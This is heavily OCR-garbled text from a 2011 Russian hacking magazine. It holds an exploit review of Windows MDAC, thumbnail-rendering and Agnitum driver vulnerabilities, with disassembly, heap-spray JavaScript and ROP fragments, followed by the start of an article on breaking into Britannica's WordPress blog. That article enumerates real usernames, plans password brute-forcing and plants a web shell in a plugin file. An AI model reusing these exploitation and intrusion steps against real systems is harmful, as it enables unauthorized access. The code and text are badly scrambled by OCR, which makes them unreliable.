гол о в н о й бол ью, когда буд е ш ь отч иты ваться п о результатам своего следующего убо й н о го пе нтеста. Возможно, это будет темой твоей следующей статьи в Н. х ХАКЕР 03 1 1 4 6 1 2 0 1 1


• • Н и кита Та р а к а н о в ,

EXPLOIТS REVIEW

C I S S R e s e a r c h T e a m , twitter,com/NTara k a n ov

s

ОБЗОР ЗКСПЛОИТОВ К оне ц дека б ря и начало нового года для компании М i с r о s о ft выдались несладкими : уязвимость в ядре Windows (EnabieEU DC) , о которой уже б ыло написано в про ш лом выпуске, так и не запатчена, плюс к не й до б авилась ц елая пачка свежих нульдеев, о котор ых я спе ш у рассказать в этом о б зоре. Ита к, вот краткий та й мл а й н вы хода в с в ет и нф о р м а ц и и об уяз в и ­ мостя х : • 2 1 - го декабря публ и куется РоС , кото р ы й валит FТР- с е р в и с , вхо­ дящий в па кет 1 1 5 7 . 5 ; • 2 2 - го декаб р я на кита й ском х а керском са йте WООУ U П . о гg публ и ­ куется и нф о р м а ц и я об уяз в и мости в ActiveX'e W M I Аd m i п istга tivе Tools; • 27-го дека бря и з вестн ы й хакер Андреа М и ка л и ц ц и , более извес­ т н ы й как rg o d , публи кует краткий а на л и з уяз в и м ости и РоС дл я Fax Соуег Page Editor; • 4 - го января Джошуа Дрэйк добавл я ет э ксплойт в m etasploit дл я о ч е н ь и нте р е с н о й уяз в и м ости в обработке э с к и з о в , до этого в дека­ б р е М оти и Ксу Хао п освятили цел ое в ы ступл е н и е этой а р хитектур­ ной уяз в и м ости н а а з и атской кон ф е р е н ц и и Р О С 2 0 1 О ; • 5 - го я н в а р я сотруд н и к компа н и и G o o g le М и хал 3ал евски публ и ­ кует и н ф о р м а ц и ю о б а ге в I nternet Ex plore r ' e . И нтересно п о ч и тать бл о г мелкомягких 5ecu rity Rese a rc h & Oefense, в котор о м о н и ч а сто публ и куют и нф о р м а ц и ю о м и н и м и з а ­ ц и и р и с ков - н а п р и м е р , Workaro u n d дл я за щиты от уяз в и м ости в обработке эскизов [CVE- 20 1 0-3970] путем п р и м е н е н и я АС L-л и стов дл я уя з в и м о й б и бл и отеки s h i mgvw. d ll. Также M i c rosoft ста ра ются п р иум е н ь ш ить риск у я з в и м осте й , ста в я на н е кото р ы х я рл ы к 0 0 5 o n ly, что и н о гда д в и га ет х а к е р о в к н о в ы м тех н и ка м обхода с о в р е м е н н ы х за щит. Я р к и й п р и м е р - уяз в и м ость в FТP[CVE - 2 0 1 0-3972] : э к с п е рты и з М 5 с ч ита ­ ют, что п е р е п ол н е н и е , п р и котор о м м ы зати р а е м метада н н ы е ко нста нто й [ О х F F в да н н о й случ а е ] , б е з контроля н а д адреса м и п е р ез а п и с и н е э кс плуата б е л ь н о l Н о двум р е в е р с а м в ко м а нде - К р и су В а л а з е ку и Р и а ну С м иту - удал о с ь выжать м а кс и м у м , п олуч ить ко нтрол ь н а д E I P. Одн а ко « вто р н и к патч е й » н е п о р а з и л бол ь ш и м кол и ч еством б юллете н е й - всего два, з а к р ы в а ю щ и е т р и уяз в и м ости . Одна из кото р ы х [ I n s e c u re Li b ra ry Loa d i n g в B a c k u p M a n a g e re ' e ] уже стала б а н а л ьн остью, п р и ч е м уяз в и м ости подверже н а тол ько Vista . Вто р о й бюлл ете н ь и с п р а вл я ет сразу д в е уяз в и м ости в М ОА С , о д н а и з кото р ы х довол ь н о и нте р е с н а и д а ж е и сп ол ьз о ва л а с ь на х а к е рском тур н и ре Pwn20wn. С н е е и н а ч н е м обзор.

� 050

01

УДДЛЕННОЕ ИСПОЛНЕНИЕ

КОДД В MICROSOFТ DATA ACCESS COMPONENТS

@;!ф,iO..j Wi ndows ХР, 2003, Vista, 2008, 7 Уя з в и мость класса I nteger Ove rflow, кото р а я , в свою о ч е редь, ведет к п е р е п ол н е н и ю h e a p ' a и связана с обра боткой с в о й ства Cache5ize ActiveX ко м п о н е нта М5АОО. С в о й ство C a c h e5ize объе кта Record5et цел о ч и сл е н н о го типа отве ч а ет за кол и ч ество з а п и с е й , кото р ы е будут х р а н иться в кэше набора да н н ы х . В нутр е н н е Cache5ize и с п ол ьзуется п р и р а с ч ете памяти, выдел я е м о й дл я х ра н е н и я этой и нформа ц и и , что дела ется путем умноже н и я на 4, та к как в кэше х р а н ятся л и ш ь идентифи като­ ры з а п и с е й OWO R O - 4 ба йта : Уязвимый код в msado . dLL . t ext : 4DDFC 3 4 8

lea

еах , ds : 4 [ eax * 4 ]

; еах - значение Cache S i z e . text : 4DDFC 3 4F

push

еах

. t ext : 4 DDFC3 5 0

push

OAO O O O O h

. t ext : 4DDFC 3 5 5

push

? g_hHeapHandl e @ @ 3 PAXA

; vo i d * g_hHeapHandle . t ext : 4DDFC3 5B

call

ds : __imp__MpHeapAl l o c

; Выделяем память

Как в и д и ш ь , н а п р о ч ь отсутствует п ро в е р ка ситуа ц и и , когда Cache5ize будет бол ь ш е Ох40000000, что п р и ведет к цел оч и с л е н ­ ному п е р е п ол н е н и ю, а з н а ч ит - будет создан буфе р н е ко р р е ктной дл и н ы , а затем п е р е п ол н е н и е и зати р а н и е п а м я т и . Теп е р ь д е л о за такти ко й . В о - п е р в ы х , к какой базе да н н ы х будем делать з а п р о с ы ? Тут нам на п о мо щ ь п р идет тех н ол о г и я X M L Oata I s lа п d , кото рая з а к л ю ч а ется в том , что с п о м о ш ью X M L, в н ед р е н н о ­ г о в h t m l-стра н и цу, м ы э мул и руем б а з у да н н ы х : ХАКЕР 0 3 /146/ 201 1


.�

EXPLOIТS REVIEW EXPLOIТS

'----1 REVIEW

EXPLOIТS REVIEW

Ох21212121 - хорошее значение ДЛЯ регистра EIP :)

Строение памяти для осуществления техники Пример внедренн ой базы да нных

func t ion IncreaseRowCounter ( )

< ?хт1 version= " 1 . 0 " encoding= " ut f - B " st andalone= " ye s " ? > <XML ID= " хт1 id1 " >

i f ( Globa 1RowCounter < Ох1 0 1 2 0 )

<Devi c es > <Device> <HereIsCou1dBeAnyData / >

f or ( i

=

О ; i < Ох3 0 0 ; i + + )

< / Device>

G1oba1 RowCounter+ + ;

< / Devices>

lo c a lxml id2 . AddNew ( [ " ВВВВ " ] ,

< / XМL>

loca lxm1id2 . De l e t e ( ) ;

В о - втор ы х , ка к сделать, что б ы в кэш п о падала какая -то и нф о р м а ­ ц и я дл я ф о р с и р о ва н и я з а п и с и да н н ы х за гра н и ц ы в ыдел е н н о го буфе р а ? Для этого идеал ь н о п одходят методы объекта RecordSet : M oveFi rst, M oveN ext и так дал е е . Этот фа кт поз воляет на м контро­ л и р овать ход п е р еза п и с и па мяти, та к как м ы уже и ме е м п ол н ы й контроль н а д р а з м е р о м буфера и н а д те м , что п и ш е м . Автор да н н о й уяз в и м ости П итер В ре где н х и л и с п ол ьзовал в ы ш е ­ о п и с а н н о е для о ч е н ь и нт е р е с н о го т р ю ка - уте ч к и п а м яти с цел ью обхода ASLR. Н а карти н ке в ы ш е : • тем н ы й цвет - буфер кэша : р а з м е р п од контрол е м атакую щего ; • зел е н ы й цвет - строка , выдел е н н а я в h e a p ' e , кор и ч н е в ы й цвет - з а в е р ш а ю щ и е 2 ОхОО ба йта , • красн ы й цвет - объект С + + , с п е р в ы м DWO R D те м но - к р а с н о го цвета. Если добиться та ко го р а с п оложе н и я о бъ е ктов в п а м яти и затереть нул е в ы е ба йты стро к и , а затем ч е рез JavaScript п роч итать е е соде ржи м о е , т о м ы в ко н е ч н о м ито ге натк н е м с я на ОхОООО. Чтобы и м еть возмож н ость п е р е п и сать п а м ять б а й та м и ОхОООО, надо со­ здать о ч е н ь м н о го з а п и с е й - бол е е ОхОО0 1 00 0 1 . Но н е торо п и с ь : в е д ь п о с л е уда л е н и я ка к о й - л и б о з а п и с и следующая н о в а я з а п и с ь п олучает и н к р е м е нт и д е н т и ф и като р а . Та к и м о б р а з о м , созда в а я и удал яя з а п и с и в ц и кл е , можно б ы стро д о б иться нуж н о го з н а ч е ­ ния: ХАКЕР 0 3 / 1 46/ 2 0 1 1

[" с" ] ) ;

var percentcomplete = Math . round ( Globa1RowCounter / Ох 1 0 1 2 0 * 1 0 0 ) ; document . getElementBy l d ( ' progre s s faseone ' ) . innerText = percentcomp le te + " % " ; window , setTimeout ( Increas eRowCount er , 1 0 0 ) ;

Сто ит отметить, что а вторский э ксплойт о г р о м е н : он и с п ол ьзует с разу две уяз в и м ости [в том ч и сл е о п и с ы ва е мую и м е н н о с целью обхода ASLR] , что ведет к возможности обо йти DЕР путе м в ы стра и ­ в а н и я R О Р - последовател ьности. M SO . d l l и с п ол ьзует ста нда ртную фун к ц и ю V i rt u a lProtect, с п о м о щ ь ю кото рой м а р к и руется п а м ять в том м е сте, где л о ка л и з о в а н н а ш шелл - код как Executa b le . Вто р а я уяз в и м ость класса use-afteг-fгee [ CVE- 20 1 0 - 1 262] была з а п атч е н а еще в m s 1 0-035. Отл и ч н ы й п р и м е р , когда ко м б и н а ц и я и з двух уяз ­ в и м осте й увел и ч и вает эффект и в н о сть усп еха э ксплуата ц и и l П атчем ж е я вл я ется и сп ользова н и е п р о в е р о ч н о й функци и , котор а я в ы п ол н яет ум ноже н и е и п р о в е р я ет резул ьтат на п е р е п ол н е н и е .

Н а кати патч ms 1 1 - 002 : micгosoft.com/technet/secu гity/Bu lletin/MS 1 1 002.mspx

� 051


EXPLOIТS REVIEW

D ir. . .

I�

т

о...

р

U D ...

I

Address AT L: :_AT L_SAFE_ALLOCAJ M PL: : . . .

L

T ext call

ds:_imp_VirtuaIProtect@1 6; VirtuaIProtect(x,x,x,x)

са"

ds:_imp_VirtualProtect@1 6; VirtuaIProtect(x,x-х-х)

Cancel

ОК •

I

S earch

Help

_ 1: _

Какой-то ATl-компонент использует VirtualProtect

[е sh

IIIO U

еах ,

push

4

[ ebp+lcid ]

рор

есх

mJl

есх

lea

есх ,

push

есх

push

edx

push

еах

саН

?ULongLongToULongQ8YAJ_KPAK8Z ; ULongLongToU

add

esp ,

test

еах , еах

jl

[ ebp+lcid ] ; unsigned

__

intЗ2

; unsigned

__

*

int64

OCh

loc 4ОЕ166С6

1

I

�bp+lcid ] � OOOOOh }_hНеарНаndlеQ8ЗРАХА ; uoid ; : __i�p__НpHeapAlloc

*

g_hHeapHandle

)с ----г---------�r=�--------__ � � 4� DЕ � � 16 � 6� Е� з--�----� � �

1

Слева - уязвимый код слепо умножал на 4, справа - патченый сперва делает проверку

О2

УдАЛЕННОЕ ИСПОЛНЕНИЕ КОДД

В' MICROSOFТ GRAPHICS RENDERING ENGINE

lМitфi"-i W i n d ows Х Р , 2003, Vista

push

еах

са1 1

_C rea t e S i z edDI B S E C T I ON@ 2 8

; int

Фун кц и я C rea t e S i ze d O I B S ECTI O N о б р а баты вает b i C l r U s e d к а к з н а ко в о е з н а ч е н и е ( s i g n e d l . Р а с с м от р и м уя з в и м ы й код: . t ext : 5 D 0 1 FC 2 D l oc_5 D 0 1 F C 2 D :

Гра ф и ч еская п одсистема W i n d ows ч а сто п р е п од н о с и т с ю р п р и з ы в области б е з о п а с н ости , Н а ко н фе р е н ц и и Р О С 2 0 1 0 М оти & Ксу Ха о вы ступ ил и с д о кладом в с е го л и ш ь п р о одну у я з в и м ость, зато каку ю l Как и з вестно, Е х р lогег м ожет отоб ражать ф а й л ы п о - р а з н о ­ му, к п р и м е р у : е с л и в ы б рать сти л ь ото б р а же н и я « Э с к и з » , т о будут ото б р а жаться н е кото р ы е м етада н н ы е ф а й л а , а и н ф о р м а ц и ю о соде ржа н и и (к п р и м е ру, d o c - и л и pdf-Аоку м е нтаl он б е рет и з о б ы к н о в е н н о го б и т м а п а , п р и сутствую щ е го в ф а й л е . Эта структу р а о б р а баты в а ется с п о м о щ ь ю фу н кц и и C o nvert O I B S E C T I O N ToTh u m b n a i l б и бл и о т е к и s h i m gvw. d l l , кото р а я , в с в о ю о ч е р ед ь , в ы з ы в а ет фун к ц и ю C re a t e S i z e d 0 1 B S E C T I O N . , t ext : 5 D 0 2 0 1 F 5

push

edx

, t ехt : 5 DО 2 0 1 F б

push

есх

int

. t ext : 5 D0 2 0 1 F 7

push

[ ebp+a rg_8 ]

int

int

. t ext : 5 D 0 2 0 1 FA

push

esi

int

. t ext : 5 D 0 2 0 1 F B

push

есх

HPALETTE

. t e x t : 5 D 0 2 0 1 FC

push

еах

int

. t e x t : 5 D 0 2 0 1 FD

lea

еах ,

[ ebp + v a r_1 О ]

� 052

, t ext : 5 D 0 2 0 2 0 0 , t ext : 5 D 0 2 0 2 0 1

. t ext : 5 D 0 1 FC 2 D

сrnр

есх , 1 0 0 h

; в е с х з на чение поля b i C 1 rU s e d , t ext : 5 D 0 1 F C 3 3

jg

; Знаковое сравнение ! ! ! , t ext : 5 D 0 1 F C 3 9

lea

esi ,

[ edx+ 2 8 h ]

, t e x t : 5 D 0 1 FC 3 C

lea

edi ,

[ ebp+var_4 3 0 . brn i C o l o r s ]

, text : 5 D 0 1 F C 4 2

r e p rnov s d ; i n l i n e rnеrnсру .

Из л и ст и н га в и д н о , что е с л и в е с х отри цател ь н о е з н а ч е н и е , то м ы о б о й д е м п р о в е р ку с ко н ста нтн о й дл и н о й буф е р а , р а с п о л о ­ ж е н н о го н а сте ке, т е м са м ы м ф о р с и руя п е р е п ол н е н и е . П р а к ­ т и ч е с ка я ц е н н о сть этой у я з в и м ости в е с ь м а в е л и к а , та к к а к с п о м о щь ю We b O av м ож н о ата ковать I nt e rn e t E x p lo rer. Р а с с м от р и м л о ка л ь н ы й с ц е н а р и й : н а с з а м а н и л и в д и р е кто р и ю , где л еж и т ф а й л со с п е ц и а л ь н о сфо р м и р о в а н н ы м э с к и зо м . В э т о м случ а е п е р е п ол н е н и е п р о и сходит в п ро ц е с с е E x p lorer. e x e , что д а ет п р е ­ и мущества п р и э кс плуата ц и и н а W i n d ows Х Р , та к к а к у п р о цесса E x p l o re r.exe фла г ОЕР уста н о в л е н н е в режи м е p e rm a n e n t . Из-за это го с п о м о щь ю R О Р - ц е п о ч к и м о ж н о откл ю ч ить ОЕР, и с п ол ьзуя Set P rocess O E P Po l i cy и л и V i rt u a lAlloc с RWX ф л а го м . Х А К Е Р 0 3 / 1 46/ 2 0 1 1


r L U r r ;;)

VIEW

EXPLOIТS REVIEW

EXPLOIТS REVIEW EXPLOIТS REVIEW Name

typedef s t r u c t tagBITМAP I N F OH EADE R { DWORD b i S i z e ;

LONG

b iWidth ;

LONG

b i Height ;

WORD

b i Plane s ;

WORD

b i B itCount ;

DWORD b iCompres s i on ; DWORD b i S i z e I mage ;

LONG

b iXPe l s PerMet e r ;

LONG

b iYPe l s PerMeter ;

DWORD b!C!rUs ed; 1

DWORO b i C l r I m porta n t ;

} B ITМAP I N F OH EADE R 1

* P BI TМAP I N F OHEAO E R ;

Структура, описывающая эскиз

50005FQ6. 50008888

2

500089С2

4

50008960

50008A6F 5000884F

50008ВА4

500089С2

500200Е Е

5001878С

8

9. 10 11

14

5001А9Е7

. t ex t : 0 0 0 2 B 8 5 0

I rp = dword p t r

. t ext : 0 0 0 2 B 8 5 0

push

13

8

esi edi edi ,

[ e sp + 8 + I r p ]

' imp_V i r t ua l A l l o c ' ,

. t ext : 0 0 0 2 B 8 5 6

mov

еах ,

[ ed i + 6 0 h ]

. t ext : 0 0 0 2 B 8 5 9

mov

есх ,

[ е ах + 4 ]

' c a l l [ е с х ] / рор еЬр / ret О х 1 0 ' ,

. t ext : 0 0 0 2 B 8 5 C

mov

esi ,

[ е ах+ 8 ]

. t ext : 0 0 0 2 B 8 5 F

mov

edx ,

[ ed i + O Ch ]

. t ext : 0 0 0 2 B 8 6 2

mov

[ e s p + 8 + I rp ] , е с х dword p t r [ ed i + 1 C h ] , О

О, # размер # # RWX флаг

О з н а к о м ься с о ф и ц и а л ь н о й адвиз о р и от M S . та м есть F i x i t - p e ­ ш е н и е . Л и бо з а п р ети п од грузку уя з в и м о й D L L путе м н ех и т р о й ко м а Н Ды : есhо y l c a c l s %W I N D I R % \ SYST EM3 2 \ sh imgvw . dl l

. t ext : 0 0 0 2 B 8 6 6

mov

. t ex t : 0 0 0 2 B 8 6 D

movzx

. text : 0 0 0 2 B8 7 0

sub

есх , О l o c-2 B 9 7 D

е с х , by t e p t r [ еах ]

. t ext : 0 0 0 2 B 8 7 3

jz

. t ex t : 0 0 0 2 B 8 7 9

sub

есх , 2

. t ex t : 0 0 0 2 B 8 7 C

jz

l o c-2 В 9 6 7

. t ext : 0 0 0 2 B 8 8 5

jz

/ Р everyone : N

s h o r t l o c 2 В 8АО ;

AGNITUM OUTPOST SECURIТY SUITE PRO ПОВЫШЕНИЕ ПРИВИЛЕГИЙ В

Ag n i t u m O u t post S е сu гitу S u i t e Рго и в с е п р одукты Аg п i t u m . и м е ­ ю щ и е в ко м п л е кте уяз в и м ы й дра й в е р V В Е п g N T sys

В п р о цессе п о и с к а ба гов а втор стол к нулся с д о в ол ь н о и нт е р е с ­ н ы м а р х итекту р н ы м б а го м : р а з ра ботч и к и да н н о й Н I РS - с и сте м ы за щ и т и л и все с в о и п с е вдоуст р о Й ства . к р о м е одн о го. Этот м одул ь и грает роль с в о е го рода D L L тол ь ко в п р о стра н стве я д р а . H a n d le на п с е вдоустро й ство \\.\v b e n g n t м ожет п олучить п ра в а G u e st и с п о м о щ ь ю о п р едел е н н ых i осtl-з а п ро с о в п е р е п и сать п а мять п о л юб о м у адресу в п рост р а н стве я д р а . что в едет к о ч е н ь п р о сто м у с ц е н а р и ю эксплуата ци и . Ч т о п р и м е ч ател ь н о . i о с t l - з а п ро с ы ведут к п р я м о м у в ыз о ву э кс п о рт н ы х фун к ц и й , без к а ко й - л и б о п р о в е р к и указател е й . Учиты в а я . что э кс п о рт н ы х фукн ц и й У д а н н о й d l l а ж 5 0 - с о ответс­ т в е н н о кол и ч ество уяз в и м осте й тоже 5 0 . В с е э т и фун к ц и и о б р а баты вают п а р а метры как ука зател и н а о п р едел е н н ы е н е д о ку м енти рова н н ы е структу р ы . н е в ы п о л н я я н и ка к и х п ро в е р о к . Р а с с м отр и м д и з а с м и о п р едел и м с а м ы й п ро с ­ той с це н а р и й э кс плуата ц и и . loctl о бр а б отчи к \\ . \vbe ngnt

ХАКЕР 0 3 1 1 461 2 0 1 1

7

5001М6д

push

. t ext : 0 0 0 2 B 8 5 0 i o c t l_hand l e r

6

12

mov

О3

5

5001 881 0

. t ext : 0 0 0 2 B 8 5 1

О х4 0 ,

3

50019094

. t ext : 0 0 0 2 B 8 5 2

# формирование с т е ка

О х3 0 0 0 ,

1

Экспортные функции

Р а с с м от р и м п р и м е р от а вто р о в m e t a s p lo i t ' a :

Ох1 0 0 0 ,

Ordinal

Address l

� ImageView_COMServer � I mageViewJullscreen � ImageViewJullscreen6. � ImageViewJullscreen\ll � ImageView_PrintT о � ImageView_PrintT ОР. � ImageView_PrintT 0\11 � imageview_fullscreen\ll � ConvertDlBSE СТ ION Т оThumbnail � O llCanUnloadNow � OllGetClassObiect � Olllnstall � O llRegisterServer � OllUnregisterServer

pro c

е с х == О х О Е ( I OCTL )

Д а л е е идет п р о в е р ка з н а ч е н и я l о с t l - кода на о п р едел е н н ы й д и а ­ п а з о н и в ы з о в уя з в и м о й фун к ц и и : . t ex t : 0 0 0 2 B 8 A O l o c_2 B 8 A O : . t ext : 0 0 0 2 B 8 AO

mov

еах ,

. t ext : 0 0 0 2 B 8 A 3

mov

е с х , еах

[ ea x + O C h ]

; в еах значение I oC t l кода . t ext : 0 0 0 2 B 8 A 5

shr

есх , 2

. t e xt : 0 0 0 2 B 8 A 8

and

есх , O F O O h

. t e x t : 0 0 0 2 B 8AE

сmр

е с х , 8 0 0h

. t ext : 0 0 0 2 B 8 B 4

jz

short l o c _2 B 8 C D

[ . . ]

. t ext : 0 0 0 2 B 8 C D l o c 2 B 8 C D : . t ext : 0 0 0 2 B 8 C D

l ea

есх ,

. t ext : 0 0 0 2 B 8 D 1

p u sh

есх esi

[ e s p+ 8 + I rp ]

. t ext : 0 0 0 2 B 8 D 2

p u sh

. t e xt : 0 0 0 2 B 8 D 3

p u sh

едх

. t e xt : 0 0 0 2 B 8 D4

p u sh

еах

. t ext : 0 0 0 2 B 8 D 5

call

vu l n- f u nc t i on

Фун кция по адресу О х О О 0 1 DААО я в л я ется с в о е го р ода ш л юз о м : . t ext : O O O l DAAO vu ln_fu n c t i o n =

proc near

·

t e x t : O O O l DAAO arg_O

·

t e x t : 0 0 0 l DAAO arg_4

·

t e x t : 0 0 0 l DAAO arg_8 = dword p t r

OCh

·

te x t : 0 0 0 l DAAO a r g_C

10h

=

=

dword ptr

4

dword p t r

8

dword ptr

� 0 53


KI:VII:W -

EXPLOIТS REVIEW

. t e xt : 0 0 0 1 DAAO . t ext : 0 0 0 1 DAAO

EXPLOIТS REVIEW

. t ext : 0 0 0 1 DC 0 3 mov

еах ,

. t ext : 0 0 0 1 DAA4

shr

еах , 2

. t e xt : 0 0 0 1 DAA7

pu sh

edi

call

ENG INE_XmlMs gEmpty

[ e sp + arg_O ] [ . . ]

. t e xt : 0 0 0 1 DAA8

mov

edi ,

[ e s p + 4 + arg_C ]

. t ext : 0 0 0 1 D 2 0 0 ENG INE_Xm lMs gEmpty p r o c n e a r

. t ext : 0 0 0 1 DAAC

mov

есх ,

[ ed i ]

·

. t e xt : 0 0 0 1 DAAE

and

еах , O F F h

. t ext : 0 0 0 1 D 2 0 0

t ex t : 0 О О 1О2 0 0 a r g _ O = dword p t r

. t ext : 0 0 0 1 DA B3

стр

еах , 3 2 h

. t ext : 0 0 0 1 D 2 0 0

p u sh

esi

. t e x t : 0 0 0 1 DAB6

mov

dword p t r [ ed i ] , О

. t ext : 0 0 0 1 D 2 0 1

mov

es i ,

. t e x t : 0 0 0 1 DABC

jb

sho rt l o c 1ОАС7

. t ext : 0 0 0 1 D 2 0 5

test

esi , esi

. t ext : 0 0 0 1 D 2 0 7

j nz

short l o c

4

[ e s p + 4 + a rg_0 ]

1 О2 1 2

[ . . ] [ . . ] . t ext : 0 0 0 1 DAC7 1 o c

1 ОАС 7 :

. t ext : 0 0 0 1 DAC7

mov

edx ,

. t ext : 0 0 0 1 DACB

стр

edx , dword_4 5 4 1 8 [ eax * 4 ]

[ e s p+ 4 + arg_8 ]

. t ext : 0 0 0 1 D2 1 8

add

esi , 14h

; e s i п о д нашим контролем

; сравнение с пра вильными длинами . t ex t : 0 0 0 1 DAD2

jz

s h o r t l o c 1 ОАОО

[. .]

p u sh

. t ext : 0 0 0 1 D 2 1 C

call

esi

. t ext : 0 0 0 3 7 6 5 0 s ub- 3 7 6 5 0 p r o c near . t ext : 0 0 0 3 7 6 5 0 arg_ О = dword p t r 4

. t ext : 0 0 0 1 DAEB l o c 1 ОАЕВ : . t ex t : 0 0 0 1 DAEB

стр

еах , 3 1 h

. t ext : 0 0 0 1 DAEE

push

esi

. t ext : 0 0 0 1 DAEF

ja

loc l E 1 8 6

j mp

ds : o f f _l Е 1 9 0 [ еах * 4 ]

switch 5 0 cases

; de f a u l t

. t ext : 0 0 0 3 7 6 5 0 . t ext : 0 0 0 3 7 6 5 0

mov

еах ,

. t ext : 0 0 0 3 7 6 5 4

mov

dword p t r [ ea x + 1 4 h ] , О

[ e sp + a rg_O ]

; j umpt a b l e 0 0 0 1 DAF5 c a s e

. t ext : 0 0 0 1 DAEF . t e xt : 0 0 0 1 DA F 5

. t ext : 0 0 0 1 D 2 1 B

; р а з вилка на в ыз овы пятидесяти функций

П о с л е п е р е б о р а п ятидесяти фун кц и й о б н а руж и л о с ь . что с п о м о ­ щ ь ю фун к ц и и E N G I N E_X m l M s g E m pty м о ж н о п е р е п и сать л ю бую п а мять кон ста нтн ы м и з н а ч е н и я м и :

; запись Ох О О О О О О О О по прои з в ольному адресу t ex t : 0 0 0 3 7 6 5 В

mov

dword ptr [ eax + 2 0h ] , 1

. t ext : 0 0 0 3 7 6 6 2

add

e ax , 2 8 h

. t ext : 0 0 0 3 7 6 6 5

mov

[ e sp + arg_O ] , еах

text : 0 0 0 3 7 6 6 9

j mp

nu l l sub_l

·

·

. t ext : 0 0 0 3 7 6 6 9 sub_3 7 6 5 0 . t ex t : 0 0 0 1 DBFC

mov

esi ,

[ e s p + 8 + a r g_4 ]

. t e x t : 0 0 0 1 DC O O

mov

еах ,

[esi]

push

еа х

;

e s i - наш буфер

. t ext : 0 0 0 1 DC 0 2

endp

Жде м и с п ра вл е н и я и л и п е р е б и р а е м с я на другой H I PS . Х

ПО�Н Handle!

Il'JNDIISW'ANIIP

Symboliclink

\Device\MountPointManag

Symboliclink

\Device\Mup

Symboliclink

\Device\NamedPipe

Symboliclink

\Device\Ndis

Symboliclink

\Device\NdisTapi

Symboliclink

\Device\Ndisuio

Symboliclink

\Device\NdisWan

Symboliclink

\Device\NdisWanIp

Symboliclink

\Device\NDProxy

Symboliclink

\Device\NTPNP _РСIOООЗ

Symboliclink

\Device\NTPNP_РСIOОО4

Symboliclink

\Device\Null

Symboliclink

\Device\ParallelO

Symbo�clink

\Device\ParallelO

Symboliclink

\Device\ParallelVdmO

Symboliclink

\Device\ParTechIncO

Symboliclink

\Device\ParTechIncl

Symbo�clink

\Device\ParTechInc2

Symboliclink

\Device\PSched

Symboliclink

\Device\RdpDrDvMgr

Symboliclink

\Device\SandBox

Symboliclink

\Device\Tcp

Symboliclink

\Device\vbenQnt

����� .o � vl

� 054

ХАКЕР 03 /Н6/ 2 0 1 1


• • M 4 g i c q 8 8 4 8 8 8 . s n i p p e r. r u

БРИТАННИКА по КОЛПАКОМ В

злом з наменито й о ффла й н -э н ц иклопедии

Энциклопедия Британника - это старейшая и наиболее полная энциклопедия на английском языке, первые тома которой были изданы в далеких 1 768-1771 годах. Ее сайт впервые увидел свет в 1 995 году, а в данное время вплотную приближается по возможностям к Википедии. Я просто не смог пройти мимо этого эпохального труда и попробовал взглянуть на онлайновую Британнику немного глубже, чем ее обычные пользователи. �

Знание - сила

З н а я , что л юб о е э н ц и кл о п е д и ч е с ко е и з ы с ка н и е н а ч и н а ется а Ь ovo, я з а ш ел н а гла в ную стр а н и цу Б р ита н н и к и , р а с п ол оже н ную п о адресу Ь гit а п п i са . соm [или e b . c o ml. П е р в а я с с ы л к а , кото р а я м е н я з а и нтересовал а , н е з атейл и в о н а з ы в а л а с ь 8 10 9 и вела н а b ri t a n n i c a . co m/blogs . Открыв и с х од н и к да н н о й стр а н и ц ы , я п р и ш ел в в осто р г, та к ка к та м гордо к р а с о в а л а с ь с л едующая надп и с ь : <meta name= " generato r "

content = " WordPress 2 . 2 "

1>

Н о , к а к и следовало ожидать, адм и н ы Брита н н и ки о казал и с ь н е та к и м и у ж и п ростака м и : хотя в е р с и я движка и была к р а й н е

� 0 56

древне й , в с е изве ст н ы е уяз в и м о сти в ней б ы л и хорошо п р о п ат­ ч е н ы , та к что оста валось тол ько п р одолжать п о и с к и . Следующим м о и м ш а го м б ы л , кон е ч н о ж е , ГУГЛ : « i n u rl: britannica. сот fi letype : ph p » . П оходив часа два п о ссылкам и снова н и ч е го и нте ресного не на йдя , я все же р е ш ил за няться 8 0 рдпрессом .

Грубая сила

' Н е м н о го п о р а з м ы сл и в , я задумал ков а р н ы й план по подБОРУ п а роля в адм и н с кую часть 8 0 рдпресса с помощью банально­ го брутфорса. Для осуществл е н и я да н н о го плана требовал и с ь действител ь н ы е л о г и н ы пользовател е й , котор ы е м о ж н о б ы л о собрать с п о м о щью известного б а га движка : п ереходим п о ссылке britann ica .com/bl09sf?a u t h o r= [ N ] [ [ N ] - это I D нужного ХАКЕР 03 / 1 4 6 / 2 0 1 1


!

Editi1lg аkiSIl1('t/:1kiSП1('t.рIIР (acti\'e)

"-9ln flk.

,­ ""11' .-' ."'-,1 ... '. "'1 ' ......"...."-•.•......,....., ...... ._.. _ _.... �..< ... __о _ _ ••_ .. _ 01 .... � '.... 1>100 •_ _ _• ,... _• • •• ....·_••'11..._...._••'·.......,"............. ... ... t.rт</.. .. _ ,'", ........... _ Н' ...,•••• ••• •_ ...... ., ...",. _ ." , �.. .""... .... ._ .. ......,_ _. "_о .... 1< .._.... •• ""••••....111 .......... ...., • •••_. _-.... .... .0 ....•......'lIv....._.. ......·>QcI. , _..<1.. .... .... .... ... .,.... ....... -. .. 11••."'_ "" '

.

.

.

.

.

� .,. � �'*"� "''',''''

...."11.__....."

,

......

.. ' 1 ·-....0..····" ...-·0..····1 1 ' '_._ ""'._.-."•••,.-.-

--� .

�...."..",. """'

_1, ,

� i n fo

- ... ....._.. , ..... , '-•.-...."1...'.. · -11 ' .-..... ... <••"". ..___....,.II.....�' .

bJ

�-

-.�

;;;:".0..::. Upota",,,.J �"' .

....... 0._

.._"" _..,�'._""-'. ___ "_u....,. .-.IU _.",."..,.. ... ..-...... --'O'

_

инжект шелла в магины

Блог Британники

Узнаем логины в WordPress

шелл на Британнике пол ьз ователя l и н а бл юдае м л о г и н в тайтле стра н и ц ы . П одста в и в по п орядку нескол ько I D . я узнал. что н а блоге п р исутствуют следующие юзе р ы : admi n ,

mlevy ,

j luebering , whosch ,

dho iberg ,

j henne l ly ,

kkuiper ,

tpappas ,

rmchenry , gmcnamee , tom ,

bcosgrave ,

rmurraythomas , ksparks , j magu i re ,

н и страто р а , я п о с п е ш и л п роследовать в раздел « Рlu g i п s» . Здесь м н е снова п овезло - все плаги н ы облада л и п ра в а м и н а з а п и с ь . та к что я открыл ф а йл a k ism et/a k i s m e t . p h p и з а п и сал в н е го свой веб- шелл . Те п е р ь нуж н о было изуч ить сервер на п редмет вся­ ческих и нтересностеЙ . Для этого я з а ш ел в свой ш елл с помощью кодо в о го слова ( Ьгitа п п i са .соm/ Ыоgsf?Ьгit а п l и стал с м отреть на с п исок файлов и ди ректо р и й веб-сервера в кор н е !/a pps/docs l : account - 4 4 3

